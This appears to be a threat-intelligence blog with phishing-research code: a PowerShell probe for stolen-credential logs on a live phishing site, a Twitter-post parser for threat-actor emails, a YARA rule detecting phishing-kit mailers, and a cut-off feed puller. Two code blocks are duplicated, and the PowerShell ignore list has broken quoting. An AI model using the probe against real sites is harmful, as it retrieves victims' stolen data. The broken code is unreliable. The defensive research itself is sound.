$debug = 0
$status = 1
$statusCheckEvery = 25
$urls = @("https://mikyx.csb.app/purchaseorder2020")
$folders = @("", "log", "logs", "script")
$files = @("logs.txt", "log.txt", "log.html", "logs.html", "user.txt", "users.txt", "stored.txt", "accounts.txt", "login.txt", "logins.txt", "fullz.txt", "access.txt", "access.log", "U1.txt", "script.txt")
$total = $urls.Length * $folders.Length * $files.Length
$totalCount = 0
if($status -eq 1)
{
write-host ("**status**: starting {0} urls, {1} requests per url" -f $urls.Length, ($folders.Length * $files.Length))
}
foreach($url in $urls)
{
$issueCount = 0
$urlFilesFoundCount = 0
$indexOfLastSlash = $url.LastIndexOf('/')
if($indexOfLastSlash -gt 12)
{
$url = $url.substring(0, $indexOfLastSlash)
if($debug -eq 1) { write-host ("base:{0}" -f $url) }
}
foreach($folder in $folders)
{
foreach($file in $files)
{
$totalCount = $totalCount + 1
if($folder -eq "")
{
$fullUrl = ("{0}/{1}" -f $url, $file)
}
else
{
$fullUrl = ("{0}/{1}/{2}" -f $url, $folder, $file)
}
if($debug -eq 1) { write-host ("-url:{0}" -f $fullUrl) }
try
{
if($issueCount -lt 2)
{
wget $fullUrl | out-null
write-host ("--found:{0}" -f $fullUrl)
$urlFilesFoundCount = $urlFilesFoundCount + 1
$issueCount = $issueCount + 1
if($issueCount -gt 1)
{
write-host ("--STOPPING: found multiple hits, likely a false positive ({0})" -f $url)
}
}
}
catch
{
if($debug -eq 1) { write-host ("--error:({0}){1}" -f $_, $fullUrl) }
if($_ -like 'Unable to connect to the remote server*' -or $_.ToString() -like 'The remote name could not be resolved*')
{
$issueCount = $issueCount + 1
if($issueCount -gt 1)
{
if($debug -eq 1) { write-host ("--STOPPING: multiple connection errors, site likely down ({0})" -f $url) }
}
}
}
if($status -eq 1 -and ($totalCount % $statusCheckEvery -eq 0))
{
write-host ("**status**: {0}% done ({1} of {2} requests)" -f [math]::Round($totalCount / $total * 100), $totalCount, $total)
}
}
}
if($urlFilesFoundCount -eq 0)
{
if($debug -eq 1) { write-host ("--nothing found:{0}" -f $url) }
}
}
if($status -eq 1)
{
write-host ("**status**: 100% done ({0} of {0} requests)" -f $total)
}
Wednesday, May 20, 2020
Friday, May 15, 2020
updated python to pull out threat actor emails from twitter
# coding: utf8
import re
import datetime
filename = "twitter.txt"
debug = 0
rawtwitterposts = ""
count = 0
urlIgnoreList = ["urlscan", "urlquery", "pastebin", "app.any.run"]
urlSaveList = ["virustotal", "github", "anonfile.com"]
emailIgnoreList = []
posts = []
postcount = 0
with open(filename, 'r') as file:
rawtwitterposts = file.read()
rawtwitterposts = rawtwitterposts.replace("hxxp", "http").replace("[.]", ".").replace("[.", ".").replace(".]",".").replace(" [@] ", "@").replace(" . ", ".").replace(". ", ".").replace("\.", ".")
rawtwitterposts = rawtwitterposts.replace("[@]","@").replace(" @ ", "@").replace("[.]", ".").replace("[.", ".").replace(".]",".").replace("<","").replace(">","").replace(".com,", ".com , ").replace(",com", ".com").replace("^","").replace("(","").replace(")","").replace("\"", "").replace("'","").replace("{at}", "@").replace("symbol", " ").replace("?"," ")
#rawtwitterposts = rawtwitterposts.replace("\r", " ").replace("\n", " ")
while len(rawtwitterposts) > 0:
try:
# find the first dot
indexof1stdot = rawtwitterposts.index('·')
# get rid of the first dot
rawtwitterposts = rawtwitterposts.replace('·', 'X', 1)
# find the poster on the line before the dot
indexof1stposter = rawtwitterposts[:indexof1stdot].rindex('@')
try:
# find the 2nd dot
indexof2nddot = rawtwitterposts.index('·')
# find the 2nd poster
indexof2ndposter = rawtwitterposts[:indexof2nddot].rindex('@')
except:
indexof2nddot = len(rawtwitterposts)
indexof2ndposter = len(rawtwitterposts)
# save off the 1st post
currentpost = rawtwitterposts[indexof1stposter:indexof2ndposter]
posts.append(currentpost)
postcount = postcount + 1
except:
rawtwitterposts = ""
rawtwitterposts = rawtwitterposts[indexof2ndposter:]
postcount = 0
for post in posts:
postcount = postcount + 1
foundPoster = 0
foundDate = 0
foundUrl = 0
foundSavedUrl = 0
foundEmail = 0
linecount = 0
target = ""
poster = ""
date = ""
url = ""
savedurl = ""
kitName = ""
threatActor = ""
emailList = []
#print("%d) %s" % (postcount, post))
lines = re.split('\n', post)
for line in lines:
line = line.lower()
linecount = linecount + 1
if linecount == 1:
poster = line
elif linecount == 3:
parts = re.split(' |, |\.', line)
if parts and ( len(parts) == 3 or len(parts) == 2):
month = ""
if parts[0] == "jan":
month = "1"
if parts[0] == "feb":
month = "2"
if parts[0] == "march" or parts[0] == "mar":
month = "3"
if parts[0] == "april" or parts[0] == "apr":
month = "4"
if parts[0] == "may":
month = "5"
if parts[0] == "jun":
month = "6"
if parts[0] == "jul":
month = "7"
if parts[0] == "aug":
month = "8"
if parts[0] == "sep":
month = "9"
if parts[0] == "oct":
month = "10"
if parts[0] == "nov":
month = "11"
if parts[0] == "dec":
month = "12"
day = parts[1]
if len(parts) == 2:
date = ("%s/%s/%s" % (month, day, datetime.datetime.now().year))
else:
date = ("%s/%s/%s" % (month, day, parts[2]))
else:
urlSearch = re.search("((http|https)\:\/\/[^\s]+)", line)
if urlSearch:
urlToAnalyze = urlSearch.group().replace(",",".")
else:
urlSearch = re.search("[^\s\/]+\.(..|...)\/[^\s]+(\.php|\/)$", line)
if urlSearch:
urlToAnalyze = "http://" + urlSearch.group().replace(",",".")
else:
urlSearch = re.search("(\/\/[^\s]+)", line)
if urlSearch:
urlToAnalyze = "http:" + urlSearch.group().replace(",",".")
if urlSearch:
thisIsSavedUrl = 0
if foundSavedUrl == 0:
for urlToSave in urlSaveList:
if urlToSave in urlToAnalyze:
savedurl = urlToAnalyze
foundSavedUrl = 1
thisIsSavedUrl = 1
break
if foundUrl == 0 and thisIsSavedUrl == 0:
for urlToIgnore in urlIgnoreList:
if urlToIgnore in urlToAnalyze:
urlToAnalyze = ""
break
if len(urlToAnalyze) > 7 and thisIsSavedUrl == 0:
url = urlToAnalyze
#find kit name
if len(kitName) == 0:
kitNameSearch = re.search("([^\s\/]+\.zip)", line)
if kitNameSearch:
kitName = kitNameSearch.group()
else:
kitNameSearch = re.search("([^\s\/]+\.zip)", url)
if kitNameSearch:
kitName = kitNameSearch.group()
#find threat actor
if len(threatActor) == 0:
if "hijaiyh" in line:
threatActor = "Hijaiyh"
elif "16shop" in line:
threatActor = "16shop"
else:
threatActorSearch = re.search("((created|coded|made)\sby\s[^\s]+)", line)
if threatActorSearch:
threatActor = threatActorSearch.group()
#find target
if len(target) == 0:
try:
if "@usbank" in line or "usbank" in url:
target = "USBank"
elif "targeting apple" in line or "#apple" in line or "@apple" in line or "#16shop" in line or "apple" in url or "icloud" in url:
target = "Apple"
elif "#hsbc" in line or "@hsbc" in line or "@hsbc_uk" in line or "hsbc" in url:
target = "HSBC"
elif "#chase" in line or "@chase" in line or "@chasesupport" in line or "chase" in url:
target = "Chase"
elif "#unicredit" in line or "@unicreditbg" in line or "unicredit" in url:
target = "UniCredit"
elif "#docusign" in line or "@docusign" in line or "docusign" in url:
target = "Docusign"
elif "#arubait" in line or "@arubait" in line or "arubait" in url:
target = "Arubait"
elif "#box" in line or "@box" in line:
target = "Box"
elif "#dhl" in line or "@dhl" in line or "dhl" in url:
target = "DHL"
elif "#fedex" in line or "@fedex" in line or "fedex" in url:
target = "FedEx"
elif "american express" in line or "#amex" in line or "@amex" in line or "americanexpress" in url:
target = "AmEx"
elif "#sharepoint" in line or "@sharepoint" in line or "sharepoint" in url:
target = "Sharepoint"
elif "#raiffeisen" in line or "@raiffeisen" in line or "raiffeisen" in url:
target = "Raiffeisen"
elif "#wetransfer" in line or "@wetransfer" in line or "wetransfer" in url:
target = "WeTransfer"
elif "#dropbox" in line or "@dropbox" in line or "dropbox" in url:
target = "Dropbox"
elif "#intesa" in line or "@intesasp_help" in line or "intesa" in url:
target = "Intesa"
elif "#spectrum" in line or "@spectrum" in line or "spectrum" in url:
target = "Spectrum"
elif "#santander" in line or "@santander_es" in line or "santander" in url:
target = "Santander"
elif "amazon themed" in line or "targeting #amazon" in line or "targeting @amazon" in line or "targeting amazon" in line:
target = "Amazon"
elif "#paypal" in line or "@paypal" in line or "@askpaypal" in line or "paypal" in url:
target = "Paypal"
elif "#instagram" in line or "@instagram" in line or "instagram" in url:
target = "Instagram"
elif "#onedrive" in line or "@onedrive" in line or "onedrive" in url:
target = "OneDrive"
elif "#netflix" in line or "@netflix" in line or "@netflixuk" in line or "netflix" in url:
target = "Netflix"
elif "#o365" in line or "#office365" in line or "@office365" in line or "@office_365" in line or "o365" in url or "office365" in url:
target = "Office365"
elif "#wellsfargo" in line or "@wellsfargo" in line or "wellsfargo" in url or "wells-fargo" in url or "wfargo" in url:
target = "WellsFargo"
elif "#barclays" in line or "@barclays" in line or "barclays" in url:
target = "Barclays"
elif "adobe themed" in line or "#adobe" in line or "@adobe" in line or "adobe" in url:
target = "Adobe"
elif "#excel" in line or "#msexcel" in line or "@msexcel" in line or "excel" in url:
target = "MsExcel"
elif "#outlook" in line or "@outlook" in line or "outlook" in url:
target = "Outlook"
elif "#googledocs" in line or "@googledocs" in line or "googledocs" in url or "gdocs" in url:
target = "GoogleDocs"
except:
target = ""
emailline = line
while len(emailline) > 0:
emailSearch = re.search("([^\s\,\;]+([@]|\s[@]\s)[^\s\,\;]+)", emailline)
if emailSearch:
emailToAnalyze = emailSearch.group()
emailline = emailline[emailline.index(emailToAnalyze) + len(emailToAnalyze):]
if not ("http://" in emailToAnalyze or "https://" in emailToAnalyze or "=" in "http://" or "?" in emailToAnalyze):
if emailToAnalyze[len(emailToAnalyze)-1:] == ",":
emailToAnalyze = emailToAnalyze[0:len(emailToAnalyze)-1]
emailToAnalyze = emailToAnalyze.replace(",",".")
if len(emailToAnalyze) > 0:
for emailToIgnore in emailIgnoreList:
if emailToIgnore in emailToAnalyze:
emailToAnalyze = ""
break
else:
emailline = ""
if len(emailToAnalyze) > 0:
emailList.append(emailToAnalyze)
foundEmail = 1
else:
emailline = ""
else:
emailline = ""
else:
emailline = ""
# START: DISPLAY RESULTS
if foundEmail or foundSavedUrl:
emailCount = 0
for email in emailList:
emailCount = emailCount +1
parts1 = email.split("@")
emailtype = ""
if len(parts1) == 2:
parts2 = parts1[1].split(".")
if len(parts2) > 1:
emailtype = parts2[0]
kiturl = ""
domain = ""
if ".zip" in url:
kiturl = url
else:
parts = url.split("/")
if len(parts) > 2:
domain = parts[2]
if len(email) > 7 and len(savedurl) == 0 and len(poster) > 3:
savedurl = ("https://twitter.com/%s/" % (poster.replace("@","")))
# DateFound,ReferenceLink,ThreatActorEmail,EmailType,KitMailer,Target,PhishingDomain,KitName,ThreatActor,KitHash,KitUrl
if(len(email) > 7 or len(savedurl) > 7):
print("%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s" % (date,savedurl,email,emailtype,"",target,domain,kitName,threatActor,"",kiturl))
if emailCount == 0 and foundSavedUrl == 1:
email = ""
emailtype = ""
kiturl = ""
domain = ""
if ".zip" in url:
kiturl = url
else:
parts = url.split("/")
if len(parts) > 2:
domain = parts[2]
if len(email) > 7 and len(savedurl) == 0 and len(poster) > 3:
savedurl = ("https://twitter.com/%s/" % (poster.replace("@","")))
# DateFound,ReferenceLink,ThreatActorEmail,EmailType,KitMailer,Target,PhishingDomain,KitName,ThreatActor,KitHash,KitUrl
if(len(email) > 7 or len(savedurl) > 7):
print("%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s" % (date,savedurl,email,emailtype,"",target,domain,kitName,threatActor,"",kiturl))
import re
import datetime
filename = "twitter.txt"
debug = 0
rawtwitterposts = ""
count = 0
urlIgnoreList = ["urlscan", "urlquery", "pastebin", "app.any.run"]
urlSaveList = ["virustotal", "github", "anonfile.com"]
emailIgnoreList = []
posts = []
postcount = 0
with open(filename, 'r') as file:
rawtwitterposts = file.read()
rawtwitterposts = rawtwitterposts.replace("hxxp", "http").replace("[.]", ".").replace("[.", ".").replace(".]",".").replace(" [@] ", "@").replace(" . ", ".").replace(". ", ".").replace("\.", ".")
rawtwitterposts = rawtwitterposts.replace("[@]","@").replace(" @ ", "@").replace("[.]", ".").replace("[.", ".").replace(".]",".").replace("<","").replace(">","").replace(".com,", ".com , ").replace(",com", ".com").replace("^","").replace("(","").replace(")","").replace("\"", "").replace("'","").replace("{at}", "@").replace("symbol", " ").replace("?"," ")
#rawtwitterposts = rawtwitterposts.replace("\r", " ").replace("\n", " ")
while len(rawtwitterposts) > 0:
try:
# find the first dot
indexof1stdot = rawtwitterposts.index('·')
# get rid of the first dot
rawtwitterposts = rawtwitterposts.replace('·', 'X', 1)
# find the poster on the line before the dot
indexof1stposter = rawtwitterposts[:indexof1stdot].rindex('@')
try:
# find the 2nd dot
indexof2nddot = rawtwitterposts.index('·')
# find the 2nd poster
indexof2ndposter = rawtwitterposts[:indexof2nddot].rindex('@')
except:
indexof2nddot = len(rawtwitterposts)
indexof2ndposter = len(rawtwitterposts)
# save off the 1st post
currentpost = rawtwitterposts[indexof1stposter:indexof2ndposter]
posts.append(currentpost)
postcount = postcount + 1
except:
rawtwitterposts = ""
rawtwitterposts = rawtwitterposts[indexof2ndposter:]
postcount = 0
for post in posts:
postcount = postcount + 1
foundPoster = 0
foundDate = 0
foundUrl = 0
foundSavedUrl = 0
foundEmail = 0
linecount = 0
target = ""
poster = ""
date = ""
url = ""
savedurl = ""
kitName = ""
threatActor = ""
emailList = []
#print("%d) %s" % (postcount, post))
lines = re.split('\n', post)
for line in lines:
line = line.lower()
linecount = linecount + 1
if linecount == 1:
poster = line
elif linecount == 3:
parts = re.split(' |, |\.', line)
if parts and ( len(parts) == 3 or len(parts) == 2):
month = ""
if parts[0] == "jan":
month = "1"
if parts[0] == "feb":
month = "2"
if parts[0] == "march" or parts[0] == "mar":
month = "3"
if parts[0] == "april" or parts[0] == "apr":
month = "4"
if parts[0] == "may":
month = "5"
if parts[0] == "jun":
month = "6"
if parts[0] == "jul":
month = "7"
if parts[0] == "aug":
month = "8"
if parts[0] == "sep":
month = "9"
if parts[0] == "oct":
month = "10"
if parts[0] == "nov":
month = "11"
if parts[0] == "dec":
month = "12"
day = parts[1]
if len(parts) == 2:
date = ("%s/%s/%s" % (month, day, datetime.datetime.now().year))
else:
date = ("%s/%s/%s" % (month, day, parts[2]))
else:
urlSearch = re.search("((http|https)\:\/\/[^\s]+)", line)
if urlSearch:
urlToAnalyze = urlSearch.group().replace(",",".")
else:
urlSearch = re.search("[^\s\/]+\.(..|...)\/[^\s]+(\.php|\/)$", line)
if urlSearch:
urlToAnalyze = "http://" + urlSearch.group().replace(",",".")
else:
urlSearch = re.search("(\/\/[^\s]+)", line)
if urlSearch:
urlToAnalyze = "http:" + urlSearch.group().replace(",",".")
if urlSearch:
thisIsSavedUrl = 0
if foundSavedUrl == 0:
for urlToSave in urlSaveList:
if urlToSave in urlToAnalyze:
savedurl = urlToAnalyze
foundSavedUrl = 1
thisIsSavedUrl = 1
break
if foundUrl == 0 and thisIsSavedUrl == 0:
for urlToIgnore in urlIgnoreList:
if urlToIgnore in urlToAnalyze:
urlToAnalyze = ""
break
if len(urlToAnalyze) > 7 and thisIsSavedUrl == 0:
url = urlToAnalyze
#find kit name
if len(kitName) == 0:
kitNameSearch = re.search("([^\s\/]+\.zip)", line)
if kitNameSearch:
kitName = kitNameSearch.group()
else:
kitNameSearch = re.search("([^\s\/]+\.zip)", url)
if kitNameSearch:
kitName = kitNameSearch.group()
#find threat actor
if len(threatActor) == 0:
if "hijaiyh" in line:
threatActor = "Hijaiyh"
elif "16shop" in line:
threatActor = "16shop"
else:
threatActorSearch = re.search("((created|coded|made)\sby\s[^\s]+)", line)
if threatActorSearch:
threatActor = threatActorSearch.group()
#find target
if len(target) == 0:
try:
if "@usbank" in line or "usbank" in url:
target = "USBank"
elif "targeting apple" in line or "#apple" in line or "@apple" in line or "#16shop" in line or "apple" in url or "icloud" in url:
target = "Apple"
elif "#hsbc" in line or "@hsbc" in line or "@hsbc_uk" in line or "hsbc" in url:
target = "HSBC"
elif "#chase" in line or "@chase" in line or "@chasesupport" in line or "chase" in url:
target = "Chase"
elif "#unicredit" in line or "@unicreditbg" in line or "unicredit" in url:
target = "UniCredit"
elif "#docusign" in line or "@docusign" in line or "docusign" in url:
target = "Docusign"
elif "#arubait" in line or "@arubait" in line or "arubait" in url:
target = "Arubait"
elif "#box" in line or "@box" in line:
target = "Box"
elif "#dhl" in line or "@dhl" in line or "dhl" in url:
target = "DHL"
elif "#fedex" in line or "@fedex" in line or "fedex" in url:
target = "FedEx"
elif "american express" in line or "#amex" in line or "@amex" in line or "americanexpress" in url:
target = "AmEx"
elif "#sharepoint" in line or "@sharepoint" in line or "sharepoint" in url:
target = "Sharepoint"
elif "#raiffeisen" in line or "@raiffeisen" in line or "raiffeisen" in url:
target = "Raiffeisen"
elif "#wetransfer" in line or "@wetransfer" in line or "wetransfer" in url:
target = "WeTransfer"
elif "#dropbox" in line or "@dropbox" in line or "dropbox" in url:
target = "Dropbox"
elif "#intesa" in line or "@intesasp_help" in line or "intesa" in url:
target = "Intesa"
elif "#spectrum" in line or "@spectrum" in line or "spectrum" in url:
target = "Spectrum"
elif "#santander" in line or "@santander_es" in line or "santander" in url:
target = "Santander"
elif "amazon themed" in line or "targeting #amazon" in line or "targeting @amazon" in line or "targeting amazon" in line:
target = "Amazon"
elif "#paypal" in line or "@paypal" in line or "@askpaypal" in line or "paypal" in url:
target = "Paypal"
elif "#instagram" in line or "@instagram" in line or "instagram" in url:
target = "Instagram"
elif "#onedrive" in line or "@onedrive" in line or "onedrive" in url:
target = "OneDrive"
elif "#netflix" in line or "@netflix" in line or "@netflixuk" in line or "netflix" in url:
target = "Netflix"
elif "#o365" in line or "#office365" in line or "@office365" in line or "@office_365" in line or "o365" in url or "office365" in url:
target = "Office365"
elif "#wellsfargo" in line or "@wellsfargo" in line or "wellsfargo" in url or "wells-fargo" in url or "wfargo" in url:
target = "WellsFargo"
elif "#barclays" in line or "@barclays" in line or "barclays" in url:
target = "Barclays"
elif "adobe themed" in line or "#adobe" in line or "@adobe" in line or "adobe" in url:
target = "Adobe"
elif "#excel" in line or "#msexcel" in line or "@msexcel" in line or "excel" in url:
target = "MsExcel"
elif "#outlook" in line or "@outlook" in line or "outlook" in url:
target = "Outlook"
elif "#googledocs" in line or "@googledocs" in line or "googledocs" in url or "gdocs" in url:
target = "GoogleDocs"
except:
target = ""
emailline = line
while len(emailline) > 0:
emailSearch = re.search("([^\s\,\;]+([@]|\s[@]\s)[^\s\,\;]+)", emailline)
if emailSearch:
emailToAnalyze = emailSearch.group()
emailline = emailline[emailline.index(emailToAnalyze) + len(emailToAnalyze):]
if not ("http://" in emailToAnalyze or "https://" in emailToAnalyze or "=" in "http://" or "?" in emailToAnalyze):
if emailToAnalyze[len(emailToAnalyze)-1:] == ",":
emailToAnalyze = emailToAnalyze[0:len(emailToAnalyze)-1]
emailToAnalyze = emailToAnalyze.replace(",",".")
if len(emailToAnalyze) > 0:
for emailToIgnore in emailIgnoreList:
if emailToIgnore in emailToAnalyze:
emailToAnalyze = ""
break
else:
emailline = ""
if len(emailToAnalyze) > 0:
emailList.append(emailToAnalyze)
foundEmail = 1
else:
emailline = ""
else:
emailline = ""
else:
emailline = ""
# START: DISPLAY RESULTS
if foundEmail or foundSavedUrl:
emailCount = 0
for email in emailList:
emailCount = emailCount +1
parts1 = email.split("@")
emailtype = ""
if len(parts1) == 2:
parts2 = parts1[1].split(".")
if len(parts2) > 1:
emailtype = parts2[0]
kiturl = ""
domain = ""
if ".zip" in url:
kiturl = url
else:
parts = url.split("/")
if len(parts) > 2:
domain = parts[2]
if len(email) > 7 and len(savedurl) == 0 and len(poster) > 3:
savedurl = ("https://twitter.com/%s/" % (poster.replace("@","")))
# DateFound,ReferenceLink,ThreatActorEmail,EmailType,KitMailer,Target,PhishingDomain,KitName,ThreatActor,KitHash,KitUrl
if(len(email) > 7 or len(savedurl) > 7):
print("%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s" % (date,savedurl,email,emailtype,"",target,domain,kitName,threatActor,"",kiturl))
if emailCount == 0 and foundSavedUrl == 1:
email = ""
emailtype = ""
kiturl = ""
domain = ""
if ".zip" in url:
kiturl = url
else:
parts = url.split("/")
if len(parts) > 2:
domain = parts[2]
if len(email) > 7 and len(savedurl) == 0 and len(poster) > 3:
savedurl = ("https://twitter.com/%s/" % (poster.replace("@","")))
# DateFound,ReferenceLink,ThreatActorEmail,EmailType,KitMailer,Target,PhishingDomain,KitName,ThreatActor,KitHash,KitUrl
if(len(email) > 7 or len(savedurl) > 7):
print("%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s" % (date,savedurl,email,emailtype,"",target,domain,kitName,threatActor,"",kiturl))
Monday, April 27, 2020
phishingkit email phishing yara rule
/*
Phishing Kit Emails
*/
rule PhishingKitEmail
{
strings:
$domain1 = "@gmail.com"
$domain2 = "@yandex.com"
$domain3 = "@outlook.com"
$domain4 = "@protonmail.com"
$domain5 = "@yahoo.com"
$domain6 = "@hotmail.com"
$domain7 = "@zoho.com"
$domain8 = "@yandex.ru"
$domain9 = "@163.com"
$domain10 = "@aol.com"
$domain11 = "@mail.ru"
condition:
(file_type contains "php") and (file_name contains "mail" or file_name contains "result" or file_name contains "next" or file_name contains "send" or file_name contains "connect" or file_name contains "info" or file_name contains "config" or file_name contains "process" or file_name contains "step" or file_name contains "success" or file_name contains "to" or file_name contains "login" or file_name contains "logon" or file_name contains "3d" or file_name contains "action" or file_name contains "pass" or file_name contains "user" or file_name contains "verif" or file_name contains "post" or file_name contains "finish" or file_name contains "log" or file_name contains "submit" or file_name contains "check") and any of ($domain*)
}
Phishing Kit Emails
*/
rule PhishingKitEmail
{
strings:
$domain1 = "@gmail.com"
$domain2 = "@yandex.com"
$domain3 = "@outlook.com"
$domain4 = "@protonmail.com"
$domain5 = "@yahoo.com"
$domain6 = "@hotmail.com"
$domain7 = "@zoho.com"
$domain8 = "@yandex.ru"
$domain9 = "@163.com"
$domain10 = "@aol.com"
$domain11 = "@mail.ru"
condition:
(file_type contains "php") and (file_name contains "mail" or file_name contains "result" or file_name contains "next" or file_name contains "send" or file_name contains "connect" or file_name contains "info" or file_name contains "config" or file_name contains "process" or file_name contains "step" or file_name contains "success" or file_name contains "to" or file_name contains "login" or file_name contains "logon" or file_name contains "3d" or file_name contains "action" or file_name contains "pass" or file_name contains "user" or file_name contains "verif" or file_name contains "post" or file_name contains "finish" or file_name contains "log" or file_name contains "submit" or file_name contains "check") and any of ($domain*)
}
Thursday, April 23, 2020
Script Query UrlHaus , OpenPhish, PhishTank and Extract Dns, IPs for Threat Intel Feed
code to pull dns & ips from urlhaus, openphish, phishtank, etc.
#usage: iex (get-content .\GetData.ps1 | out-string) > output.txt
$debug = $true
$fileOutput = "dns.csv"
$fileIpOutput = "ip.csv"
$ignoreList = @("google.com", "www.google.com", "urlhaus.abuse.ch", "pastebin.com", "ak.imgfarm.com", "docs.google.com", "drive.google.com", "i.imgur.com", "img.sobot.com", "imgur.com", "www.imgur.com", "raw.githubusercontent.com", "github.com", "www.github.com", "adobe.com", "www.adobe.com", "ibm.com", "www.ibm.com", "dell.com", "www.dell.com", "bing.com", "www.bing.com", "msn.com", "www.msn.com", "documentcloud.adobe.com", "cisco.com", "www.cisco.com", "l.yimg.com", "yimg.com", "dl.dropboxusercontent.com", "dropbox.com", "www.dropbox.com", "godaddy.com", "godaddysites.com", "files.constantcontact.com", "ipinfo.io", "bit.ly", "onedrive.live.com", "000webhostapp.com", "storage.googleapis.com", "wikileaks.org", "forms.gle", "go2l.ink", "capesandbox.com", "twitter.com", "paste.cryptolaemus.com", "cryptolaemus.com", "gist.githubusercontent.com", "bitbucket.org", "img1.wsimg.com", "cdn.discordapp.com", "web.mit.edu", "bit.do", "na3.docusign.net", "sway.office.com", "sites.google.com", "aka.ms", "login.microsoftonline.com", "track.smtpsendmail.com", "r20.rs6.net", "files.gamebanana.com", "sems.sas.com", "www.avast.com", "1.0.0.0", "bitly.com", "instagram.com", "www.instagram.com", "1.2.0.1073", "2016.3.3.0332", "3.0.0.2013", "31.128.173.853", "4.8.0.904", "cdn.speedof.me", "codeload.github.com", "tr.im", "urlz.fr", "accounts.google.com", "t.co", "fls.doubleclick.net", "1359940.fls.doubleclick.net", "rebrand.ly", "23.4.43.27", "app.smartsheet.com", "forms.office.com", "api.whatsapp.com", "form.jotform.com", "tinyurl.com", "firebasestorage.googleapis.com", "www.google.com.au", "go.pardot.com", "goo.gl", "click.icptrack.com", "online.jimmyjohns.com", "feeds.feedburner.com", "www.google.co.uk", "event.on24.com", "www.powr.io", "protect-us.mimecast.com", "visitor.constantcontact.com", "www.questionpro.com", "click.pstmrk.it", "code.jivosite.com", "apple.co", "www.google.com.mx", "linktr.ee", "www.vcita.com", "www.evernote.com", "www.123formbuilder.com", "tiny.cc", "app.box.com", "script.google.com", "disq.us", "click.email.microsoftemail.com", "fiddle.jshell.net", "cache.nebula.phx3.secureserver.net", "lnkd.in", "www.magazineluiza.com.br", "share.hsforms.com", "fbwat.ch", "app.dialoginsight.com", "cl.s10.exct.net", "etrack05.com", "www.alaskausa.org", "vk.com", "storage.cloud.google.com", "1drv.ms", "www.imcreator.com", "172.217.21.162", "sinacloud.net", "tinyurl.com", "is.gd", "note.youdao.com", "www.surveygizmo.com", "www.tinyurl.com", "surveygizmo.com", "ow.ly", "www.eater.com", "eater.com", "www.stats.gov.cn", "stats.gov.cn", "buff.ly", "www.angelfire.com", "epl.paypal-communication.com", "forms.zohopublic.com", "objectstorage.us-ashburn-1.oraclecloud.com", "t.yesware.com", "snip.ly", "cutt.ly", "mysurveygizmo.com", "www.mysurveygizmo.com", "gitlab.com", "ht.ly", "teamapp.com", "chat.chatra.io", "id.ee.co.uk", "paste.ee","youtube.com","www.youtube.com","play.google.com","google.com.br","docsend.com","www.google.com.br","www.emailmeform.com","emailmeform.com","web.facebook.com","upload.facebook.com","te.bathandbodyworks.com","tatatechnologies.workplace.com","statis.facebook.com","protect-eu.mimecast.com","notion.so","mtouch.facebook.com","messenger.com","j.mp","images2.imgbox.com","graph.facebook.com","fbthirdpartypixel.com","es-la.facebook.com","error.facebook.com","email.secureserver.net","edge-chat.workplace.com","edge-chat.facebook.com","deref-gmx.net","cs.atdmt.com","click.mail.onedrive.com","ca.surveygizmo.com","business.facebook.com","badge.facebook.com","apps.facebook.com","api.facebook.com","an.facebook.com","about.instagram.com","yadi.sk", "157.240.2.20", "www.notion.so","static.facebook.com","www.login-bank.org", "ctt.ec", "www.teamapp.com", "t.umblr.com", "upscri.be", "www.imeipro.info", "imeipro.info", "wisegeek.com", "deref-mail.com", "app.getaccept.com", "cdn2.hubspot.net", "slack-redir.net", "www.wisegeek.com", "chime.com", "www.chime.com", "b.link" , "hyperurl.co", "s3.ap-south-1.amazonaws.com", "podio.com", "s3-us-west-2.amazonaws.com", "tfaforms.com", "www.tfaforms.com", "webservice99.com", "mediafire.com", "www.mediafire.com", "smarturl.it","s3.us-east-1.amazonaws.com","www.restaurantdive.com" ,"rawcdn.githack.com"","https","http","ttp","ttps","lasvegas.craigslist.org","clicktime.symantec.com","survey.survicate.com","t.me","clicktotweet.com", "www.wetransfer.com", "wetransfer.com", "www.geocities.ws", "geocities.ws", "wa.me", "email.godaddy.com", "emailmarketing.locaweb.com.br", "dlvr.it", "www.sendspace.com", "v.ht", "52.109.124.1", "static.wixstatic.com","docs.wixstatic.com","image.prntscr.com,"d1yjjnpx0p53s8.cloudfront.net", "canva.com", "articulo.mercadolibre.com.mx", "e-mudhra.com", "www.canva.com", "listado.mercadolibre.com.mx")
#$urlIntelThem = "https://openphish.com/feed.txt"
#$urlIntelThem = "https://data.phishtank.com/data/online-valid.csv"
#$urlIntelThem = "https://phishstats.info/phish_score.txt"
#$urlIntelThem = "https://urlhaus.abuse.ch/downloads/csv/"
#$urlIntelThem = "https://urlhaus.abuse.ch/downloads/csv_recent/"
$urlIntelThem = "https://urlhaus.abuse.ch/downloads/csv_online/"
$rawHttpThem = ""
$rawIntelThem = ""
$dnsList = ""
$ipList = ""
$first = 0
if($debug){ Write-Output ("Requesting '{0}'" -f $urlIntelThem) }
$httpResponseThem = Invoke-WebRequest -UseDefaultCredentials $urlIntelThem
$rawHttpThem = $httpResponseThem.RawContent
if($debug){ Write-Output ("Downloaded '{0}'" -f $urlIntelThem) }
if($rawHttpThem.IndexOf("abuse.ch") -gt 0){
$rawIntelThem = $rawHttpThem.SubString($rawHttpThem.LastIndexOf("# ")+2)
}elseif($rawHttpThem.IndexOf("PhishStats") -gt 0){
$rawIntelThem = "date,score,url,ip`r`n{0}" -f $rawHttpThem.SubString($rawHttpThem.LastIndexOf("# ")+2)
}elseif($rawHttpThem.IndexOf("phish_id") -gt 0){
$rawIntelThem = $rawHttpThem.SubString($rawHttpThem.IndexOf("phish_id"))
}else{
$first = $rawHttpThem.IndexOf("http")
$rawIntelThem = "url`r`n{0}" -f $rawHttpThem.SubString($first)
}
$csvThemIntel = ConvertFrom-Csv $rawIntelThem
$outputList = @()
$outputIpList = @()
$savedCount = 0
$savedIpCount = 0
$ignoredCount = 0
foreach($rowIntelThem in $csvThemIntel){
try {
$domainThem = ([System.Uri]::new($rowIntelThem.url).Host).ToString()
$ignoreIt = 0
foreach($ignoredItem in $ignoreList){
if($domainThem.ToLower() -eq $ignoredItem.ToLower()){
$ignoreIt = 1
$ignoredCount = $ignoredCount +1
break
}
}
if($ignoreIt -eq 0){
$ipThem = [IPAddress] $domainThem
$newHit = New-Object PSObject
$newHit | add-member Noteproperty ip $ipThem
$outputIpList += $newHit
$savedIpCount = $savedIpCount + 1
}
}
catch{
if($domainThem.ToLower().StartsWith("www.")){
